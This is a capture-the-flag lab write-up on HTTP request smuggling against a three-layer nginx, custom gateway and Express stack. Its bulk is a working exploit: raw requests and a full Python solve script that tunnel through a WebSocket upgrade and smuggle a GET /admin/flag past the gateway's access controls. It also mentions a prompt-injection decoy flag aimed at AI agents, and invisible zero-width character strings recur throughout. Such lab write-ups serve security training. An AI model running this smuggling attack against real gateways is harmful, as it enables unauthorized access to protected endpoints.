← Back to Writeups
CUSTOMMediumWeb

Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing

XESXOR9/2/20268 min read
#web#custom#medium#case_sensitive_header_bypass#cl_te_smuggling#nginx_bypass_via_websocket#websocket_upgrade_tunnel

Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: case_sensitive_header_bypass, cl_te_smuggling, nginx_bypass_via_websocket, websocket_upgrade_tunnel

Summary

Walkthrough of the CUSTOM Web Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing. Task: Enterprise API gateway (nginx + custom proxy + Express) blocks /admin/* via path-based ACL; proxy has case-sensitive Transfer-Encoding header parsing. Solution: WebSocket upgrade to bypass nginx

Description

RouteForge is an enterprise API gateway platform built by ForgeStack Technologies. It provides centralized routing, rate limiting, and access control for backend microservices. The platform exposes a public API documentation portal, route management, and analytics dashboards. The gateway uses a custom reverse proxy layer to enforce path-based access control, blocking requests to administrative endpoints before they reach the backend application server. The goal is to investigate how the gateway processes incoming HTTP requests and find a way to bypass its security controls to access restricted resources. Pay close attention to how the proxy handles HTTP headers — particularly edge cases in the HTTP/1.1 specification around transfer encoding. The proxy and backend may not agree on how to parse certain headers. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A three-layer web stack (nginx → custom RouteForge gateway proxy → Express.js backend) blocks access to /admin/* endpoints via the gateway's path-based ACL. The goal is to smuggle a request to /admin/flag past the gateway by exploiting differences in how the proxy and backend parse HTTP headers — specifically the Transfer-Encoding header.

Analysis

Architecture (3 hops)

  1. nginx/1.25.5 — TLS termination, reverse proxy, WebSocket support. Extremely strict HTTP parser: rejects CL+TE combinations, duplicate TE headers, TE obfuscation (obs-fold, spaces, tabs, non-chunked values), and malformed chunk framing. Validates ALL requests on a connection (including pipelined ones). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. RouteForge Gateway v2.4.1 (X-Gateway: RouteForge/2.4.1) — Custom proxy that enforces path-based ACL. Blocks any request where the path starts with /admin (case-insensitive, percent-aware). Returns GW-403 JSON response for blocked paths.

  3. Express.js backend (X-Powered-By: Express) — Serves actual content. Uses Node.js http module (llhttp parser) which is case-insensitive for header names per HTTP/1.1 spec.

Key Vulnerability

The gateway proxy has a case-sensitive header name parser:

  • It only recognizes Transfer-Encoding (exact canonical case) as the transfer encoding header
  • Lowercase transfer-encoding is treated as an unknown header → gateway falls back to Content-Length ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Express.js (llhttp) is case-insensitive per RFC 7230:

  • It recognizes transfer-encoding, Transfer-Encoding, TRANSFER-ENCODING, etc.
  • When both CL and TE are present, llhttp follows RFC precedence: TE wins

The nginx Problem

nginx is too strict to allow CL+TE through directly:

  • Any request with both Content-Length and Transfer-Encoding → 400 Bad Request
  • Duplicate TE headers → 400 Bad Request
  • Non-standard TE values → 501 Not Implemented
  • TE header obfuscation (spaces, tabs, obs-fold) → 400 Bad Request ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This means the CL.TE desync cannot be sent through nginx's normal HTTP pipeline.

The WebSocket Bypass

nginx supports WebSocket upgrades via proxy_pass with Upgrade and Connection headers. After a successful 101 Switching Protocols response, nginx creates a raw TCP tunnel — it stops parsing HTTP and forwards bytes bidirectionally. This allows sending arbitrary HTTP requests (including CL+TE combinations) directly to the gateway, bypassing nginx's strict validation.

Decoy Flag

The HTML source on multiple pages contains a prompt-injection trap with a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} designed to trick automated tools and AI agents. This must be ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate

Login with provided credentials (user@test.com / password123) to obtain a connect.sid session cookie. Authentication is required to access the WebSocket endpoint and the /admin/flag resource.

Step 2: WebSocket Upgrade (bypass nginx)

Send a WebSocket upgrade request to nginx. After receiving 101 Switching Protocols, the connection becomes a raw TCP tunnel. All subsequent bytes bypass nginx's HTTP parser and go directly to the RouteForge gateway.

GET / HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <base64-key>
Sec-WebSocket-Version: 13

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: CL.TE Smuggling via Case-Sensitive TE Header

Through the WebSocket tunnel, send a crafted request with both Content-Length and lowercase transfer-encoding: chunked:

POST / HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>
Content-Type: application/x-www-form-urlencoded
Content-Length: <total_body_length>
transfer-encoding: chunked

1\r\n
X\r\n
0\r\n
\r\n
GET /admin/flag HTTP/1.1
Host: <target>
Cookie: connect.sid=<session>

How the desync works:

ComponentSeesBehavior
GatewayContent-Length: N only (ignores lowercase transfer-encoding)Reads N bytes as body → treats entire payload as one request to / (allowed path)
Expresstransfer-encoding: chunked (case-insensitive, TE takes precedence over CL)Reads chunked body → stops at 0\r\n\r\n → remaining bytes become a new request: GET /admin/flag
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The smuggled GET /admin/flag reaches Express directly without passing through the gateway's ACL check, and Express returns the flag.

Full Solve Script

python
#!/usr/bin/env python3
"""
Solve script for Lab 220 — RouteForge — TE.TE HTTP Request Smuggling
via Proxy Header Parsing

Attack: WebSocket upgrade + CL.TE smuggling via case-sensitive TE header parsing

The gateway proxy only recognizes "Transfer-Encoding" (exact case).
Express.js recognizes "transfer-encoding" (case-insensitive).
WebSocket upgrade bypasses nginx's CL+TE rejection.
"""
import socket
import ssl
import base64
import sys
import time
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "fbc853e8-4fe9-4cc9-8e5b-43a599e5b1f7.labs.hackadvisor.io"
TARGET_PORT = 443

# Step 1: Login to get session cookie
print("[*] Logging in...")
ctx = ssl.create_default_context()
sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10)
ssock = ctx.wrap_socket(sock, server_hostname=TARGET_HOST)

login_body = b"email=user%40test.com&password=password123"
login_req = (
    b"POST /login HTTP/1.1\r\n"
    b"Host: " + TARGET_HOST.encode() + b"\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(len(login_body)).encode() + b"\r\n"
    b"Connection: close\r\n"
    b"\r\n"
) + login_body
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ssock.send(login_req)
ssock.settimeout(5)
resp = b""
try:
    while True:
        chunk = ssock.recv(8192)
        if not chunk:
            break
        resp += chunk
except (socket.timeout, ssl.SSLError):
    pass
ssock.close()

# Extract cookie
cookie = b""
for line in resp.split(b"\r\n"):
    if b"connect.sid=" in line:
        start = line.find(b"connect.sid=")
        end = line.find(b";", start)
        cookie = line[start:end]
        break

print(f"[+] Cookie: {cookie[:50].decode()}...")

# Step 2: WebSocket upgrade to bypass nginx's strict HTTP validation
print("[*] Upgrading to WebSocket...")
sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10)
ssock = ctx.wrap_socket(sock, server_hostname=TARGET_HOST)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ws_key = base64.b64encode(b"test1234test1234").decode()
upgrade = (
    b"GET / HTTP/1.1\r\n"
    b"Host: " + TARGET_HOST.encode() + b"\r\n"
    b"Cookie: " + cookie + b"\r\n"
    b"Upgrade: websocket\r\n"
    b"Connection: Upgrade\r\n"
    b"Sec-WebSocket-Key: " + ws_key.encode() + b"\r\n"
    b"Sec-WebSocket-Version: 13\r\n"
    b"\r\n"
)

ssock.send(upgrade)
ssock.settimeout(5)
resp = b""
try:
    while b"\r\n\r\n" not in resp:
        chunk = ssock.recv(4096)
        if not chunk:
            break
        resp += chunk
except (socket.timeout, ssl.SSLError):
    pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if b"101" not in resp:
    print("[-] WebSocket upgrade failed!")
    sys.exit(1)

print("[+] WebSocket upgrade successful — raw TCP tunnel established")

# Step 3: CL.TE smuggling via case-sensitive TE header
print("[*] Sending CL.TE smuggling payload...")

# Smuggled request — bypasses gateway ACL entirely
smuggled = (
    b"GET /admin/flag HTTP/1.1\r\n"
    b"Host: " + TARGET_HOST.encode() + b"\r\n"
    b"Cookie: " + cookie + b"\r\n"
    b"\r\n"
)

# Chunked body: Express reads this via TE, stops at 0\r\n\r\n
chunked_body = b"1\r\nX\r\n0\r\n\r\n"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Total body = chunked_body + smuggled
# Gateway reads ALL of this via Content-Length (one request)
# Express reads only chunked_body via TE, then treats smuggled as new request
total = chunked_body + smuggled
cl = len(total)

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: " + TARGET_HOST.encode() + b"\r\n"
    b"Cookie: " + cookie + b"\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(cl).encode() + b"\r\n"
    b"transfer-encoding: chunked\r\n"  # lowercase! Gateway ignores, Express honors
    b"\r\n"
) + total
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

time.sleep(0.5)
ssock.send(payload)
ssock.settimeout(15)
resp = b""
try:
    while True:
        chunk = ssock.recv(8192)
        if not chunk:
            break
        resp += chunk
except (socket.timeout, ssl.SSLError):
    pass
ssock.close()

# Step 4: Extract flag
print(f"[*] Response ({len(resp)} bytes)")

if b"FLAG{" in resp:
    idx = resp.find(b"FLAG{")
    end = resp.find(b"}", idx) + 1
    flag = resp[idx:end].decode()
    if "d3c0y" not in flag:
        print(f"[+] FLAG: {flag}")
    else:
        print("[-] Only found decoy flag")
else:
    print("[-] No flag found in response")
    print(resp.decode(errors='replace')[:500])

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches (Extensive Exploration)

  1. TE header obfuscation through nginx (~65 variants) — nginx rejects ALL: duplicate TE headers, CL+TE combos, obs-fold, spaces/tabs in header names, non-chunked TE values (501), comma-separated values. Completely airtight.
  2. Chunk framing desync — nginx validates chunk sizes, strips chunk-extensions and trailers, normalizes bare-LF to CRLF. No chunk-level ambiguity survives nginx.
  3. Path normalization ACL bypass — Forms like /%61dmin/flag, //admin/flag, /./admin/flag bypass gateway ACL but Express returns 404 (doesn't percent-decode literal path segments). Zero overlap between gateway-bypass and Express-match path forms.
  4. Simple pipelining — Gateway re-inspects every pipelined request's path and blocks /admin/* with 403.
  5. Request-line tokenizer tricks — Gateway is lenient (accepts VT, FF, NBSP separators) but llhttp is strict (rejects them with 400). Opposite of what's needed.
  6. HTTP/2 smuggling — Not supported; nginx only negotiates HTTP/1.1.
  7. Nested request smuggling (2-level) — Gateway absorbs /admin/flag as inner request's CL body (no ACL check), but Express also absorbs it (both agree on CL). Adding TE to inner request triggers nginx/llhttp CL+TE rejection.
  8. URL-override headers — X-Original-URL, X-Rewrite-URL, X-Forwarded-Path not honored by any layer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering case_sensitive_header_bypass, cl_te_smuggling, nginx_bypass_via_websocket, websocket_upgrade_tunnel was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-21 • CUSTOM • Lab 220 — RouteForge — TE.TE HTTP Request Smuggling via Proxy Header Parsing • Difficulty: Medium